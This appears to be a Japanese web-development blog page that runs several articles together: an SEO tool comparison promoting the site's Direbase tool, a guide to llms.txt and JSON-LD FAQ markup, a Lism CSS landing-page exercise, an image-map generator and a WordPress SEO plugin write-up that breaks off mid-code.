今回比較する7ツールのうち6つには、期間限定の体験版ではない恒常的な無料枠があります（回数や対象サイトの制限つき）。フリーランスや中小企業のWeb担当者であれば、まず無料枠のあるツールを一巡し、そこで足りないと感じた機能を名指しできるようになってから有料プランを検討する順番が、もっとも無駄が出ません。 SEOチェックツール比較7選 7ツールを、料金・無料枠・改善コード生成の可否・主な用途で並べます。 ツール料金（月額）無料枠改善コード生成主な用途Direbase（ディレベース）無料 ／ ¥980 ／ ¥2,980 ／ ¥9,800あり（登録不要3回・登録で毎月3回）✅ 無料は上位1項目／ベーシック以上で全項目ページ単位の診断＋修正コードの出力Google Search Console無料あり（全機能が無料）❌検索実績・インデックス状況・構造化データの検出Lighthouse / PageSpeed Insights無料あり（全機能が無料）❌表示速度・Core Web Vitals・SEO基礎項目の監査SEOチェキ！無料あり（登録不要）❌title・meta・h1・発リンク数などの即時確認Ahrefs¥4,460 ／ ¥19,900 ／ ¥38,400 ／ ¥68,900 ／ ¥230,900あり（Ahrefs Free＝自分が所有するサイト対象）❌被リンク・参照ドメイン・順位追跡Semrush$139 ／ $199 ／ $299 ／ $549公式料金ページ上は有料4プラン（無料トライアルあり）❌競合のオーガニック調査・キーワード分析ラッコキーワード無料 ／ ¥660 ／ ¥990 ／ ¥2,475あり（フリープラン＝週50クレジット）❌サジェスト・関連語・検索ボリューム調査 ※ 最終確認日：2026年8月1日。料金・無料枠・機能はすべて同日に各社公式サイトで確認した表示に基づきます。Ahrefsは日本からのアクセスで円建て表示、Semrushは米ドル建て表示のため、通貨をそのまま記載しています（為替換算は行っていません）。ラッコキーワードは年払い適用時の月額換算・税込です。SEOチェキ！は運営側から「Googleの順位チェックとキーワード出現頻度チェックに不具合が発生中」と告知されています。 Direbase｜診断から改善コード生成まで一気通貫 URLを入力するだけで45項目を自動診断し、SEOスコアとして可視化するツールです。構造化データ（JSON-LD）・メタタグ・Core Web Vitals・ドメインパワーを一画面で確認できます。スコアの配点は構造化データ40点・基本SEO30点・コンテンツ20点・技術SEO10点で、構造化データにもっとも重みを置いた設計です。 他の6ツールと明確に違うのは、診断結果からそのまま貼れる改善コード（JSON-LD・metaタグ・OGPなど）を生成する点です。差別化はこの1点で、被リンクデータの規模やキーワードデータベースの網羅性では専業ツールに及びません。「指摘は受け取ったが、書き方がわからず止まる」場面を埋めるためのツールだと考えるのが正確です。 プランは4段階で、日本語表記は「無料（お試し）」「エントリー」「ベーシック」「プロ」です。 プラン月額チェック回数SEOスコア上限改善コード生成サイト全体診断無料（お試し）¥0登録不要で3回／登録すると毎月3回83点満点上位1項目なしエントリー¥980月30回92点満点上位2項目10ページベーシック¥2,980月100回94点満点全項目30ページプロ¥9,800月300回100点満点全項目50ページ 注意したいのは、SEOスコアの上限がプランごとに異なることです。無料プランで診断できるのは83点満点までの範囲で、100点満点の評価はプロプランでのみ表示されます。「無料で100点を目指す」という使い方はできません。 また、機能によって必要なプランが分かれます。サイト全体診断はエントリー以上、llms.txtチェックと競合比較（同時3サイト）はベーシック以上です。改善コードは無料プランでも上位1項目だけ生成されるため、「どんな粒度のコードが返ってくるのか」は課金前に確認できます。なおllms.txtは2026年8月時点で、読んでいると公式に表明したAI提供元がありません。設置状況の可視化として使う機能であり、この項目を目的に上位プランを選ぶ必要はありません（検証記事はこちら）。 構造化データ診断に40点を配分（4カテゴリ中で最大の配点） 改善コード生成は無料プランでも上位1項目まで動く（全項目はベーシック以上） ドメインパワー・競合KW調査・Core Web Vitals測定は無料プランにも含まれる 被リンクの網羅的な分析や大規模クロールは対象外 出典：Direbase 料金プラン（プラン比較表・2026年8月1日確認） ▶ Direbase単体の使い方と診断画面の見方はこちら Google Search Console｜検索実績と構造化データの検出 Googleが無料で提供する公式ツールです。検索結果での表示回数・クリック数・平均掲載順位・インデックス状況を確認できます。「どのキーワードで流入しているか」「どのページがインデックスされていないか」を把握するための基盤で、SEOに取り組むすべてのサイトで最初に設定すべきツールです。 「Search Consoleは実績を見るだけ」と説明されることがありますが、これは正確ではありません。リッチリザルト レポートは、Googleがサイトで検出した構造化データと、その項目が有効か無効かを表示します。無効になった原因の重大度も切り分けられ、修正が想定どおり効いたかを経時的に追跡できます。レポートに載っていないURLについても、URL検査ツールで構造化データが検出されているかを個別に確認できます。 つまりSearch Consoleは「実績データ」と「構造化データの有効・無効判定」の両方を持つツールです。返ってこないのは修正コードそのもので、無効と判定された項目をどう書き直すかは自分で調べる必要があります。 完全無料・Google公式。機能制限のある有料プランは存在しない 検索パフォーマンス（表示回数・クリック数・CTR・平均掲載順位）を確認できる リッチリザルト レポートとURL検査ツールで構造化データの有効・無効を検出できる インデックス カバレッジ・サイトマップ送信に対応 修正コードの出力は行わない 出典：リッチリザルト レポートの概要 - Search Console ヘルプ（2026年8月1日確認） Lighthouse / PageSpeed Insights｜表示速度とSEO基礎項目の監査 Googleが提供する監査ツールです。LCP・CLS・INPといったCore Web Vitalsを計測し、0〜100のスコアで評価します。読み込みが遅い、レイアウトがずれる、といった技術的な問題を特定する用途で広く使われています。 SEO監査についても「metaタグの有無くらいしか見ない」と説明されることがありますが、実際の監査項目はもう少し広く、公式ドキュメントでは次の8項目が自動監査として整理されています。 meta descriptionの有無 リンクの記述性（アンカーテキストが内容を説明しているか） hreflangの妥当性 rel=canonicalの妥当性 HTTPステータスコードが正常か robots.txtが有効か ブラウザプラグインへの依存がないか タップターゲットのサイズが適切か さらに、自動監査とは別枠の「手動チェック（Manual checks）」として「Structured data is valid（構造化データが妥当であること）」が用意されています。自動で合否を出さない代わりに、確認すべき項目としてレポート上に提示される形です。「構造化データにまったく触れないツール」ではない、という点は押さえておく価値があります。 その一方で、Lighthouseは修正コードを出力しません。表示速度の改善とSEO基礎項目の合否確認までを担い、そこから先の書き直しは別の手段で埋めることになります。 出典：Lighthouse SEO audits - Chrome for Developers（2026年8月1日確認） SEOチェキ！｜登録不要で基本項目を即座に確認 日本で長く使われている無料の簡易SEOチェックツールです。URLを入れるだけで結果が返り、アカウント登録もいりません。「いま開いているページのtitleとmeta descriptionがどうなっているか」を10秒で確認したい場面では、いまでも最短の選択肢です。 チェックできるのは公式サイトに掲載されている次の項目です。被リンク（外部から自サイトへ向くリンク）の調査機能は提供されておらず、確認できるのは「発リンク数」（そのページから外へ出ていくリンク）です。 ### [【2026年版】AI検索時代のSEO対策入門 — llms.txt・構造化データ・FAQの始め方](https://codequest.work/ai-seo-guide-2026/) 「ちゃんとSEO対策をしているのに、問い合わせが増えない」と感じていませんか。Google検索に加えて、ChatGPTやPerplexityといったAIを使って情報を調べる人が急増しています。従来のSEOだけでは、この変化に対応しきれなくなってきました。 この記事では、AI検索時代に必要な新しいSEO対策の基本として、llms.txt・JSON-LD FAQPage・ページFAQの3つを初心者向けにわかりやすく解説します。コードが書けなくても、プラグインやコピペで対応できる方法もあわせて紹介します。 先に、3つの現在地をはっきりさせておきます。効果が確実なのはページFAQ（読者に見える形で質問と回答を書くこと）で、次がJSON-LD FAQPageです。llms.txtだけは、2026年8月時点で「読んでいる」と公式に表明したAI提供元が1社もありません。この記事では3つとも解説しますが、着手する順番はページFAQ → JSON-LD → llms.txtです。llms.txtの根拠と実測データはAIに自社サイトを正しく認識させる方法｜llms.txtとは何かにまとめています。 Google検索だけの時代は終わりつつある 2023年ごろからChatGPT・Perplexity・Geminiといった「AI検索」が急速に普及しました。これらのツールは、複数のWebページを読み込んでまとめた回答を生成します。つまり、ユーザーがGoogleで検索しなくてもAIが代わりに調べてくれる時代になってきています。 その結果、Google検索の上位に表示されていても、AI検索で取り上げられなければ流入が減るケースが出てきました。SEOの守備範囲は、Googleだけでなく「AIにどう読まれるか」まで広がっています。 SEO・AEO・LLMOって何？用語を整理する AI検索の話題が増えるにつれ、新しい略語が登場しています。まずは3つの用語を整理します。 用語正式名称ひとことで言うとSEOSearch Engine OptimizationGoogleなど検索エンジンに評価されるための対策AEOAnswer Engine OptimizationAIが「回答」として取り上げてくれるための対策LLMOLarge Language Model OptimizationChatGPTなどの大規模言語モデルに正確に理解・引用されるための対策 3つは別々のものではなく、土台は共通しています。「正確な情報をわかりやすく整理したページを作る」という本質は変わりません。その上に、AIへの対応を積み重ねるイメージです。 llms.txtとは？AIへのサイト説明書 llms.txt（エルエルエムエス・テキスト）は、サイトの概要・主要ページ・注意事項などをまとめたテキストファイルで、「AIに読んでもらうことを想定して提案された」フォーマットです。robots.txt（ロボッツ・テキスト：Googleなど検索ロボットに対してクロールの許可範囲を伝えるファイル）のAI版と考えるとイメージしやすいでしょう。ただしrobots.txtと違い、標準化団体が採用した仕様ではなく、実際に読んでいると公表しているAIもまだありません。 ファイルの形式はMarkdown（マークダウン：# や ** を使ってシンプルに書ける軽量テキスト形式）で書き、サイトのルート（https://example.com/llms.txt）に設置します。 llms.txtに書く内容 サイト名・運営者・サービスの概要 主要ページのURLと説明（ブログ、サービスページ、お問い合わせなど） AIに正確に理解してほしいこと（誤解されやすい用語の定義など） クロールを避けてほしいページがあればその旨 ここが最も誤解されやすい点です。llms.txtは「AIに紹介・引用してもらえる」効果を保証しません。それどころか、Googleは生成AI機能向けの公式ガイドで「Google検索（その生成AI機能を含む）に表示されるために、新しい機械可読ファイル・AI向けテキストファイル・マークアップ・Markdownを作成する必要はありません。Google検索自体がそれらを使用していないからです」と明言しています。OpenAI・Anthropic・Perplexityも、自社クローラーがllms.txtを読むとは公開ドキュメントに書いていません。置いても害はありませんが、他の2つを終えたあとの「余力があれば」の施策と考えてください。 WordPressでの設置方法 設置方法は主に2つあります。プラグインを使う方法が初心者にはおすすめです。 プラグインを使う方法：「LLMs.txt Generator」などのプラグインをインストールし、管理画面から内容を入力するだけで自動生成・設置できます。 手動で設置する方法：テキストファイルを作成し、FTPソフト（FileZillaなど）やサーバーのファイルマネージャーでWordPressのpublicフォルダ（ルートディレクトリ）にアップロードします。 JSON-LD FAQPageとは？質問と回答を機械に伝える構造化データ JSON-LD FAQPage（ジェイソン・エルディー・エフエーキューページ）は、検索エンジンやAIに「このページにはQ&Aが含まれています」と伝えるための構造化データ（コンピューターが読みやすいデータ形式）です。 かつては検索結果でQ&Aが展開表示される「リッチリザルト」を狙う施策でしたが、そのFAQリッチリザルトは2026年5月7日でGoogle検索から終了しました（Google公式ドキュメント）。マークアップを残しても害はなく、質問と回答の対応関係を機械に伝える意味は残っています。ただし「検索結果が派手になるから入れる」という理由はもう成立しません。 コードの見た目が少し複雑に見えますが、基本構造はシンプルです。1問だけ例を見てみましょう。 <!-- ※これはサンプルコードです。実際に使う場合は内容を書き換えてください --> { "@context": "https://schema.org", "@type": "FAQPage", "mainEntity": [ { "@type": "Question", "name": "llms.txtはどこに設置すればいいですか？", "acceptedAnswer": { "@type": "Answer", "text": "サイトのルートディレクトリ（https://example.com/llms.txt）に設置します。" } } ] } 自分でコードを書く必要はありません。WordPressプラグインを使えば管理画面から設定できます。 WordPressプラグインで設定する方法 Rank Math SEO：記事編集画面の「Schema」タブから「FAQPage」を追加し、質問と回答を入力するだけで自動的にJSON-LDが出力されます。 Yoast SEO（プレミアム版）：ブロックエディタのFAQブロックを追加するとFAQPageスキーマが自動挿入されます。 Schema & Structured Data for WP & AMP：無料でFAQPageを含む多彩なスキーマに対応したプラグインです。 ▶ Direbase（ディレベース）で自分のサイトにJSON-LDが正しく設定されているか確認する ページFAQとは？ページ上に質問と回答を表示すること ページFAQとは、HTML上に実際に質問と回答が表示されている状態のことです。「コードの中にJSONを書いただけ」ではなく、読者がページを開いたときに見えるFAQが必要になります。 Googleのガイドラインでは、「構造化データに含まれる内容はページ上にも表示されていること」と明記されています。JSON-LDだけ設置してページには何も表示しないという実装は、Googleのポリシー違反になる可能性があります。 WordPressで実装するなら、ブロックエディタの「よくある質問」ブロック（Rank MathやYoastが追加するFAQブロック）を使うと、表示とJSON-LDの両方を同時に設定できるので便利です。 3つを組み合わせると何が変わるか llms.txt・JSON-LD FAQPage・ページFAQの3つを組み合わせると、1つのFAQから複数の流入経路を作ることができます。 検索エンジンへの構造の明示：JSON-LD FAQPage＋ページ表示 → 質問と回答の対応関係が機械に正確に伝わる（FAQリッチリザルト自体は2026年5月に終了） AI検索での引用：わかりやすいページFAQ＋明確な定義文 → ChatGPTやPerplexityが回答を組み立てるときに引用しやすくなる（llms.txtの寄与は現時点で確認されていません） 音声検索・スマートスピーカー対応：speakable構造化データ（読み上げ向け）と組み合わせることでさらに広がる 「1つのコンテンツを、複数の検索インターフェースに届ける」という考え方が、AI検索時代のSEOの基本姿勢です。 今日からできること：チェックリスト まずは優先度の高いものから1つずつ取り組んでください。一度にすべてやろうとしなくて大丈夫です。 既存記事にFAQを追加する：アクセスの多い記事にFAQブロックを追加し、Q&AをJSON-LDと一緒にページ上に表示する 現状のSEO状態を診断する：SEO診断ツールでJSON-LD・メタタグ・llms.txtの設置状況を確認し、改善箇所を洗い出す 新規記事はFAQセクションを必ず含める：記事末尾に「よくある質問」セクションを設ける習慣をつける Google Search Consoleで構造化データの認識状況を確認する：「検索結果の外観」レポートで構造化データが正しく認識されているか確認する（FAQのレポートは2026年6月に廃止されています） 余力があればllms.txtを作る：プラグイン（LLMs.txt Generator）で設置できますが、効果は未確認なので最後で構いません Direbaseで現状を把握する Direbaseは、Ahrefs・Semrushのような高額分析ツールでもなく、SEOチェキのような簡易チェッカーでもない、「診断→改善コード自動生成」に特化した実務ツールです。 URLを入力するだけで構造化データ・メタタグ・llms.txtの設置状況を45項目以上診断し、改善のための具体的なコードを自動生成します。まずは無料プランで自分のサイトの現状を確認してみてください。 ▶ Direbaseで無料診断を試す（登録不要） よくある質問 Q. llms.txtを設置すると、AIに必ず引用されますか？ 「必ず引用される」とは言えません。2026年8月時点で、自社のAIがllms.txtを読んでいると公式に表明したAI提供元は1社もなく、Googleは「Google検索は使用していない」と明記しています。実測調査ではGPTBotなどによる取得自体は観測されていますが、それが回答生成に使われたかまでは外部から確認できません。置くこと自体に害はありませんが、引用を増やしたいなら、まずページ上のFAQと明確な定義文を整えるほうが確実です。 Q. JSON-LD FAQPageを設定すると検索結果にQ&Aが表示されますか？ 表示されません。FAQリッチリザルトは2026年5月7日でGoogle検索から終了しました。ではマークアップが無意味かというとそうではなく、質問と回答の対応関係を機械が正確に読み取れる状態にしておくことは、生成AIに引用される土台として意味があります。「検索結果を装飾する施策」から「機械に構造を伝える施策」へ位置づけが変わった、と理解してください。 ### [模写上級 #007 | 飲食店LPをHTML/CSSとLism CSSで](https://codequest.work/italian-restaurant-lp-mockup/) 模写上級 #007は、イタリアンレストランの1ページ完結型LPを、HTML・CSSと軽量CSSフレームワーク「Lism CSS」で再現する課題です。この課題で身につくのは、フレームワークが用意したレイアウト部品の「効く範囲」と「効かない範囲」を見分け、狭い画面で崩れたときに原因を1箇所に特定する力です。 見た目を似せるだけの課題ではありません。今回のデモページは、スマートフォン幅で実際に横スクロールが発生します。その原因を自分で突き止めて直せたかどうかを合格ラインに置いています。以下の数値はすべて2026年8月2日にヘッドレスChromeで実測したものです。 難易度上級所要時間目安6〜10時間（実装量から見積もった目安で、計測値ではありません）使う技術HTML / CSS（Grid・Flexbox） / Lism CSS / IntersectionObserver このLPで作るもの 題材は南イタリア料理のトラットリア「Trattoria LUCE」です。ヒーローから予約フォームまでを1ページに収めた、実際の飲食店サイトとほぼ同じ情報量を持つLPになっています。まずはPCとスマートフォンの両方で通してスクロールし、次の表の「観察ポイント」を意識して見てください。 セクション観察ポイント使う技術ヒーロー画面いっぱいの背景と大きな見出し背景グラデーション＋clamp()CONCEPT画像とテキストの2カラム、数値3つの横並びGrid / FlexboxMENU3カラムのカード。狭い画面でも3列のままGridCHEF左右を入れ替えた2カラムGridCOURSEコース名と価格を左右に振り分ける行FlexboxACCESS / 予約入力欄の2カラムと、日時・人数のプルダウンGrid / フォーム要素 予約セクションは、時間と人数を <select> のプルダウンで選ぶ実装です。ボタンを並べて選ばせる形式ではないので、状態管理のJavaScriptは必要ありません。デモに入っているJavaScriptは、スクロールで要素をふわりと出す処理・ヘッダーに影を付ける処理・コピーライトの年を入れる処理の3つだけで、全体で30行ほどです。ページ内リンクの滑らかなスクロールもJavaScriptではなくCSSの scroll-behavior: smooth で実現されています。 デモページを開く デモは外部の配信元に3つ依存しています。CSSフレームワークのLism CSS、Google FontsのNoto Serif JP・Noto Sans JP・Cormorant Garamond、そして写真5点のUnsplashです。フォントが当たっていないだけで印象は大きく変わるため、余白を測り直す前にこの3つの読み込み状況を確認してください。 Lism CSSはバージョンを固定して読み込む Lism CSSは、レイアウト用のクラスを組み合わせてページの骨組みを作る「レイアウトファースト」設計のCSSフレームワークです。CSSファイルを1つ読み込むだけで導入でき、ビルド作業は要りません。npmのレジストリで確認したところ、2026年8月2日時点の最新版は0.24.0（公開日2026年7月5日）、初回公開は2025年5月20日で、これまでに73バージョンが公開されています。開発は止まっていません。 出典はnpmレジストリのパッケージ情報とLism CSS公式ドキュメントのインストール手順（いずれも2026年8月2日取得）です。 読み込みは1行、ただしバージョンを書く CDNから読み込む場合、バージョン部分に @latest と書くこともできますが、この課題では使わないでください。@latest は「今この瞬間の最新版」を指すため、フレームワーク側が更新された日を境に、昨日まで動いていたページが何の予告もなく崩れます。公式ドキュメントのインストール手順も、@latest ではなく具体的なバージョン番号を書いた例を示しています。 <!-- デモと同じ見え方にしたいとき（デモが読み込んでいるのはこのバージョン） --> <link href="https://cdn.jsdelivr.net/npm/lism-css@0.0.13/dist/css/main.css" rel="stylesheet" /> <!-- 最新の設計で作り直したいとき --> <link href="https://cdn.jsdelivr.net/npm/lism-css@0.24.0/dist/css/main.css" rel="stylesheet" /> デモページのHTMLを見ると、読み込んでいるのは lism-css@0.0.13 です。最新の0.24.0とは71バージョン離れています。デモのソースをそのまま写しながら読み込みだけを最新版にすると、見た目が合わない原因がフレームワーク側にあることに気づけません。 バージョンを上げると実際に何が止まるか デモのHTMLは一切変えず、読み込むCSSのバージョンだけを0.0.13から0.24.0に差し替えて、同じ要素の計算後スタイルを比較しました。デモが使っている25個のユーティリティクラスのうち9個が0.24.0には存在せず、次のように無効化されます。エラーもコンソール警告も出ないため、崩れた理由が見えないのが厄介なところです。 クラス0.0.13での実測値0.24.0での実測値-c:main色 rgb(201, 168, 76)rgb(255, 255, 255)（金色が消える）-jc:sbspace-betweennormal（左右振り分けが崩れる）-td:nnoneunderline（リンクに下線が戻る）-ta:ccenterstart（中央寄せが解除）-ai:ccenternormal（縦位置が揃わない）-ov:hhiddenvisible（はみ出しが隠れない） これらは削除されたのではなく、短縮形から正式名へ書き換えられています。0.24.0では -ai:c が -ai:center、-jc:sb が -jc:between、-ta:c が -ta:center、-ov:h が -ov:hidden、-td:n が -td:none になります。-container:m は is--container 系のトレイトクラスへ、色の -c:main は -c:brand や -c:accent へ整理されました。最新版で作り直すなら、この対応を先にまとめてから着手すると手戻りが減ります。 一方で、レイアウトの中心である l--stack l--flex l--columns l--center は両バージョンで同じ定義のまま残っています。骨組みは安定していて、細かい装飾用のクラス名が動いた、という理解でおおむね合っています。 Lism CSSを使わずに進めることもできる 2026年8月2日時点で、CDNのCSSファイルは正常に取得できます（HTTP 200・約29KB）。ただし将来配信が止まった場合や、フレームワークを使わずに実力を測りたい場合は、素のHTMLとCSSだけで進めても構いません。Lism CSSのクラスは、次のように置き換えれば同じ結果になります。 l--stack は display: flex; flex-direction: column; だけの定義です l--flex は display: flex; だけで、折り返しの指定は含まれていません l--columns は display: grid; grid-template-columns: repeat(var(--cols), minmax(0, 1fr)); です l--center は display: grid; place-content: center; place-items: center; です この4つを自前のCSSに書けば、フレームワークなしでもデモとほぼ同じ骨組みが組めます。l--columns の minmax(0, 1fr) は特に重要なので、写すときに 1fr へ省略しないでください。理由は次の節で扱います。 完成条件（合格ライン） 上級課題の合否は「なんとなく似ている」では判定できません。この課題では、幅を変えたときにレイアウトが崩れないことを合格ラインに置きます。ブラウザの開発者ツールでデバイスツールバーを開き、幅を1280px・768px・375px・320pxの4段階に変えながら、次の4項目を確認してください。 判定項目合格ライン外れたら疑うこと横スクロール4段階すべてで発生しない折り返し指定のない横並び（l--flex 相当）に大きな gap が付いていないかカラム幅2カラム・3カラムの各列が等幅を保つGridの列指定を 1fr で書いていないか（minmax(0, 1fr) にする）ヘッダー80px以上スクロールすると背景が濃くなるスクロール監視でクラスが付いていない、または position: fixed が外れていないかスクロール演出各セクションが画面に入ると浮き上がる監視対象のクラス名が要素側と一致しているか 1つ目と2つ目は目視ではなく数値で判定できます。開発者ツールのコンソールに次の2行を貼れば、その場で答えが出ます。 // 0 なら合格。1以上ならその数値ぶん横にはみ出している document.documentElement.scrollWidth - document.documentElement.clientWidth; // 各グリッドの列幅。ひとつの行の中で数値がバラついていたら不合格 [...document.querySelectorAll('[style*="--cols"]')] .map(el => getComputedStyle(el).gridTemplateColumns); 参考までに、デモページを実測した結果は次のとおりです。1280pxと768pxでははみ出し0px、375pxで23px、320pxで50pxのはみ出しが出ました。カラム幅のほうは8つのグリッドすべてが4段階とも等幅を保っています。つまりデモ自身が狭い画面で横に溢れている状態で、あなたの模写が320pxで0pxになれば、デモより良い出来ということになります。 つまずきポイント 以下は、実際にデモのコードを手元で動かして再現できたものだけを載せています。 症状原因直し方スマホ幅で横スクロールが出る横並びの行に折り返し指定がなく、gap が広すぎるその行に flex-wrap: wrap を足す2カラムの左右が不揃いになる列指定が 1fr で、中身の最小幅に押し広げられているminmax(0, 1fr) に書き換えるremで書いた文字サイズが合わないデモのフレームワークが狭い画面でルート文字サイズを縮めている実測値をpxで確認してから換算するクラスを写したのに効かない読み込んでいるバージョンにそのクラスが無いデモと同じ0.0.13を指定する雰囲気が似ないWebフォントか写真が読めていないネットワークタブで3つの外部読み込みを確認する 横スクロールの犯人はCONCEPTの数値3つ 320px幅ではみ出している要素を全部拾うと、CONCEPTセクションにある「12 Years / 4.8 Rating / 28 Seats」の横並びに絞り込めました。この行は入れ物の幅が119pxしかないのに、中身は192px必要としています。差の73pxがそのままページ全体の横スクロールにつながっていました。 原因は2つ重なっています。1つは、この行が使っている l--flex が display: flex だけの定義で、折り返しを含んでいないこと。もう1つは、要素間の隙間が36.75pxずつ、2箇所で73.5px確保されていることです。 ### [クリッカブルエリアジェネレーター｜画像マップをコード不要で作れるツール](https://codequest.work/clickable-area-generator/) バナー画像の特定エリアをリンクにしたい、商品画像の各部分をクリックできるようにしたい——そんなとき、HTMLのmap要素（イメージマップ）を手書きするのはかなり面倒です。 CodeQuest.workでは、画像をアップロードして範囲を描くだけでイメージマップのコードを自動生成できるClickable Area Generator（クリッカブルエリアジェネレーター）を公開しました。この記事では、ツールの概要と使い方を紹介します。 ▶ Clickable Area Generator を今すぐ使う クリッカブルエリア（イメージマップ）とは 「クリッカブルエリア」とは、1枚の画像の中に複数のリンクエリアを設定する技術のことです。HTMLでは<map>タグと<area>タグを組み合わせた「イメージマップ」として実装します。 たとえば、フロアマップ画像の各部屋をクリックで詳細ページに飛ばす、製品の各パーツをクリックで説明に移動させる、といった使い方が可能です。 通常、イメージマップを実装するには座標値を手作業で調べてコードを書く必要があります。Clickable Area Generatorはその作業をGUIで置き換えます。 Clickable Area Generator でできること 画像をアップロードして、クリック可能なエリアをビジュアルで描画できる 矩形（rect）・円形（circle）でエリアを指定できる 描画したエリアに対してリンクURLを設定できる HTMLコード（img usemap＋map要素）を自動生成・コピーできる ブラウザのみで動作。登録・インストール不要で無料で利用できる 使い方：3ステップでコード生成 画像をアップロードする（PNG・JPG・SVGなどに対応） 矩形または円形でクリックエリアを描画し、リンクURLを設定する 生成されたHTMLコードをコピーしてWebページに貼り付ける ステップ1：画像をアップロードする ツールを開いたら、まず画像ファイルをドラッグ＆ドロップするか「ファイルを選択」ボタンからアップロードします。PNG・JPG・SVGなど一般的な画像形式に対応しています。アップロードした画像はブラウザ内でのみ処理され、サーバーには送信されません。 ステップ2：エリアを描画してURLを設定する 画像が表示されたら、リンクにしたい範囲を矩形（四角形）または円形で描画します。描画後、エリアに紐づけるリンク先URLを入力します。複数のエリアを設定することも可能です。 ステップ3：コードをコピーして貼り付ける エリア設定が完了すると、HTMLコードが自動生成されます。コードをコピーして、WordPressのカスタムHTMLブロックや静的HTMLファイルに貼り付けるだけで実装完了です。 生成コードのサンプルは以下のような構造になっています。 <!-- ※以下はサンプルコードです --> <img src="your-image.jpg" alt="説明" usemap="#image-map"> <map name="image-map"> <area shape="rect" coords="50,30,200,120" href="https://example.com/page1" alt="エリア1"> <area shape="circle" coords="300,150,60" href="https://example.com/page2" alt="エリア2"> </map> shape="rect"は矩形、shape="circle"は円形のエリアを表します。coordsには各エリアの座標値が自動で入力されるため、手作業で計算する必要はありません。 こんな用途に使える フロアマップ・館内図：各エリアをクリックして詳細ページへ誘導 製品・パーツ説明画像：各部品をクリックして説明文や仕様へリンク バナー・告知画像：1枚の画像に複数のリンクを設定 日本地図・世界地図：地域ごとのリンクナビゲーション 組織図・フローチャート：ノードをクリックして詳細へ移動 CodeQuest.workで公開中の全ツールは「Web制作の無料ツール10選｜レイアウト・コード比較・SEO診断・デザイン」でまとめて紹介しています。 よくある質問 Q. 無料で使えますか？ はい、Clickable Area Generatorは無料でご利用いただけます。アカウント登録も不要です。 Q. 対応している画像形式は何ですか？ PNG・JPG・SVGなど、ブラウザで表示できる一般的な画像形式に対応しています。 Q. アップロードした画像はどこかに保存されますか？ いいえ、アップロードした画像はブラウザ内でのみ処理されます。外部サーバーには送信・保存されないため、機密性の高い画像でも安心して利用できます。 Q. スマートフォンでも使えますか？ 基本的にはPCブラウザでの利用を推奨しています。エリアの描画操作はマウス操作を前提としているため、スマートフォンでは操作しにくい場合があります。 Q. WordPressに貼り付けるにはどうすればいいですか？ Gutenbergエディターで「カスタムHTML」ブロックを追加し、生成されたコードをそのまま貼り付けてください。画像ファイルはWordPressのメディアライブラリにアップロードして、コード内のsrcパスを書き換えてご利用ください。 まとめ Clickable Area Generatorは、座標の計算やコーディングなしで画像マップを作成できるツールです。画像をアップロードしてエリアを描くだけの3ステップで、すぐに使えるHTMLコードが手に入ります。 Web制作の現場でイメージマップが必要になったときに、ぜひ活用してみてください。 ▶ Clickable Area Generator を使ってみる ### [WordPressプラグインでSEO診断する方法｜管理画面からワンクリックで完結](https://codequest.work/wordpress-seo-check-plugin/) WordPressでサイトを運営しているとき、SEO診断のたびに別サービスを開いてURLをコピペして——という手順を繰り返していませんか？ この記事では、WordPressの管理画面からワンクリックでSEOスコアを確認できるプラグインの使い方と、その技術構成・セキュリティ対策を解説します。プラグイン開発に興味があるWeb制作者にも参考になる内容です。 このプラグインでできること Direbase（ディレベース）のWordPressプラグイン（GitHub: masakazuimai/codequest-seo-check-plugin）は、WordPress管理画面に診断UIを追加するシンプルなプラグインです。 URLを入力して「診断する」を押すだけで、100点満点のSEOスコアと4カテゴリの内訳がその場で表示されます。別ウィンドウを開く必要はありません。 管理画面内でSEOスコアと4カテゴリの内訳が確認できる 診断される4つのカテゴリ 構造化データ（40点）：JSON-LDの有無・Schema.orgタイプ・必須プロパティ 基本SEO（30点）：タイトル・メタタグ・見出し構造・canonical コンテンツ品質（20点）：文字数・画像alt属性・内部リンク数 技術的SEO（10点）：HTTPS・モバイル対応・ページ速度 診断ロジックの詳細は、ブラウザ版の▶ Direbaseと共通です。プラグインは「管理画面から呼び出せる入口」として機能します。 なぜWordPressプラグインとして作ったのか Direbaseはもともとブラウザで使うWebアプリです。それでも使い勝手に課題がありました。 WordPressでサイトを運営しているユーザーにとって、「別のサービスを開いて、URLをコピペして、診断する」という手順はひと手間です。管理画面に組み込むことで、ログイン中の状態からワンクリックで自分のサイトを診断できるようになります。 技術構成：PHPのみのシンプルな設計 プラグイン自体はPHPのみで構成されており、外部ライブラリは使っていません。SEO診断のロジックはすべてAPI側（Cloudflare Workers + Hono）にあるため、プラグインは「APIを呼んで結果を表示する」だけのシンプルな構成です。 データの流れは次のとおりです。 WordPress管理画面でURLを入力し「診断する」をクリック プラグイン（PHP）がWordPress標準のHTTP API（wp_remote_post）で外部APIにリクエストを送る APIがHTMLを解析してスコアを計算し、JSONで返す 管理画面にスコアと内訳が表示される（jQuery + CSS） 外部APIとの通信にはWordPress標準のHTTP APIを使う WordPressから外部APIを呼び出すには、PHPの cURL を直接使う方法もありますが、サーバー環境による互換性の問題が出やすいため、WordPressが標準で用意している wp_remote_post を使うのが鉄則です。 以下はサンプルコードです（実際の実装はGitHubをご確認ください）。 // サンプル: 外部APIにPOSTリクエストを送る function my_plugin_call_api( $url ) { $response = wp_remote_post( 'https://api.example.com/check', array( 'headers' => array( 'Content-Type' => 'application/json', ), 'body' => wp_json_encode( array( 'url' => $url ) ), 'timeout' => 60, ) ); if ( is_wp_error( $response ) ) { return $response; } $code = wp_remote_retrieve_response_code( $response ); $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); if ( 200 !== $code ) { return new WP_Error( 'api_error', isset( $data['message'] ) ? sanitize_text_field( $data['message'] ) : '不明なエラー' ); } return $data; } ※上記はあくまでサンプルコードです。実際の動作はGitHubリポジトリのコードをご確認ください。 APIキーの認証と安全な保存 APIキーの送信は X-API-Key ヘッダーを使います。キーの保存にはWordPressの get_option / update_option（データベースへの読み書きを担うWordPress標準の関数）を使い、設定画面では type="password" で表示することで、画面上に平文が見えないようにしています。 WordPress公式ディレクトリ申請で必要なセキュリティ対策 WordPress公式プラグインディレクトリ（wp.org）への申請では、セキュリティが厳しくチェックされます。最低限必要な対策は5つです。 1. nonce検証（CSRF対策） nonce（ナンス）とは「一度しか使えないトークン」のことで、悪意のある第三者が管理者になりすましてリクエストを送る攻撃（CSRF）を防ぎます。AJAXリクエストにnonceを付与し、サーバー側で check_ajax_referer を使って検証します。 // サンプル: JS側にnonceを渡す wp_localize_script( 'my-plugin-js', 'myPluginData', array( 